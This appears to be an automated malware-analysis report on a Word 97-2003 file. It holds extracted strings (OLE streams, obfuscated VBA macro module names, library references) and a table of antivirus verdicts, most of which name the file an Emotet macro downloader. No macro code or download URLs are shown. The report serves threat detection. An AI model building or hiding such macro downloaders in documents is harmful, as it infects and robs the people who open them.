Qggrfagrepnzqkp=78, 78, 1614, 831,
MSWordDoc
Word.Document.8
rst dole>
*\G{0002`0430-
#2.0#0#C
:\Window
s\SysWOW
b#OLE Au
tomation
!Offic
F8D04C-5
BFA-101B -BDE5
gram Fil
es (x86)
\Common
\Microso
ft Share
d\OFFICE
14\MSO.D
.0 Objec
t Librar
ve8ndufg
c_9jcG
u@:g@:_
Txsklj
79jo0bkp
ggrfagre
pnzqkpG
Unknown
Times New Roman
Symbol
Calibri
Tahoma
Cambria Math
Root Entry
1Table
WordDocument
SummaryInformation
DocumentSummaryInformation
Macros
Xve8ndufgc_9jc
Txsklj79jo0bkptd
Qggrfagrepnzqkp
_VBA_PROJECT
(1Normal.ThisDocument
*\G{000204EF-0000-0000-C000-000000000046}#4.1#9#C:\PROGRA~2\COMMON~1\MICROS~1\
VBA\VBA7\VBE7.DLL#Visual Basic For Applications
*\G{00020905-0000-0000-C000-000000000046}#8.5#0#C:\Program Files (x86)\Microsoft Office\Office14\MSWORD.OLB#Microsoft Word 14.0 Object Library
*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\Windows\SysWOW64\stdole2.tlb#OLE Automation
*\CNormal
*\CNormal
*\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.5#0#C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE14\MSO.DLL#Microsoft Office 14.0 Object Library
Xve8ndufgc_9jc
0161dc5bef
Xve8ndufgc_9jc
Txsklj79jo0bkptd
0261dc5bef
Txsklj79jo0bkptd
Qggrfagrepnzqkp
0361dc5bef
Qggrfagrepnzqkp
PROJECTwm
PROJECT
CompObj
cXve8ndufgc_9jc
dTxsklj79jo0bkptd
pQggrfagrepnzqkp
Microsoft Word 97-2003
Antivirus Signature
Bkav Clean
Elastic malicious (high confidence)
DrWeb W97M.DownLoader.5057
MicroWorld-eScan VB:Trojan.Valyria.3532
FireEye VB:Trojan.Valyria.3532
CAT-QuickHeal OLE.Downloader.40547
McAfee X97M/Downloader.gh
Malwarebytes Clean
Zillya Clean
Sangfor Trojan.Generic-VBS.Save.d59154b2
K7AntiVirus Trojan ( 005722491 )
K7GW Trojan ( 005722491 )
BitDefenderTheta Clean
Cyren W97M/Agent.AF
Symantec W97M.Downloader
TotalDefense Clean
TrendMicro-HouseCall Trojan.W97M.EMOTET.SMJB1
Avast Script:SNH-gen [Trj]
ClamAV Doc.Dropper.EmotetRed1220-9816007-0
Kaspersky HEUR:Trojan-Downloader.VBS.Agent.gen
BitDefender VB:Trojan.Valyria.3532
NANO-Antivirus Trojan.Script.Agent.ijcgra
ViRobot DOC.Z.Agent.159283
AegisLab Trojan.MSOffice.SAgent.4!c
Tencent Heur.Macro.Generic.h.71d1b951
Ad-Aware VB:Trojan.Valyria.3532
TACHYON Suspicious/W97M.Obfus.Gen.8
Emsisoft Trojan-Downloader.Macro.Generic.BQ (A)
Comodo Malware@#3ijl0yjz6x7pg
F-Secure Malware.W2000M/Agent.4750123
Baidu Clean
VIPRE Trojan-Downloader.W97M.Agent.jc (v)
TrendMicro Trojan.W97M.EMOTET.SMJB1
McAfee-GW-Edition X97M/Downloader.gh
CMC Clean
Sophos Troj/DocDl-ABVG
Ikarus Trojan-Downloader.VBA.Emotet
GData Macro.Trojan.Agent.AWN
Jiangmin Clean
Avira W2000M/Agent.4750123
Antiy-AVL Trojan[Downloader]/MSOffice.Agent.ldi
Kingsoft Clean
Gridinsoft Trojan.U.Emotet.lu
Arcabit HEUR.VBA.C.2
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Trojan-Downloader.VBS.Agent.gen
Microsoft TrojanDownloader:O97M/Emotet.CSK!MTB
Cynet Malicious (score: 85)
AhnLab-V3 Downloader/MSOffice.Generic
Acronis Clean
ALYac Trojan.Downloader.DOC.Gen
MAX malware (ai score=99)
VBA32 TrojanDownloader.O97M.Emotet.CSK
Zoner Probably Heur.W97Obfuscated
ESET-NOD32 VBA/TrojanDownloader.Agent.VGC
Rising Malware.ObfusVBA@ML.99 (VBA)
Yandex Clean
SentinelOne Static AI - Malicious OLE
Fortinet VBA/Agent.VGC!tr.dldr
AVG Script:SNH-gen [Trj]
Panda W97M/Downloader.DDE
Qihoo-360 virus.office.qexvmc.1065
No IRMA results available.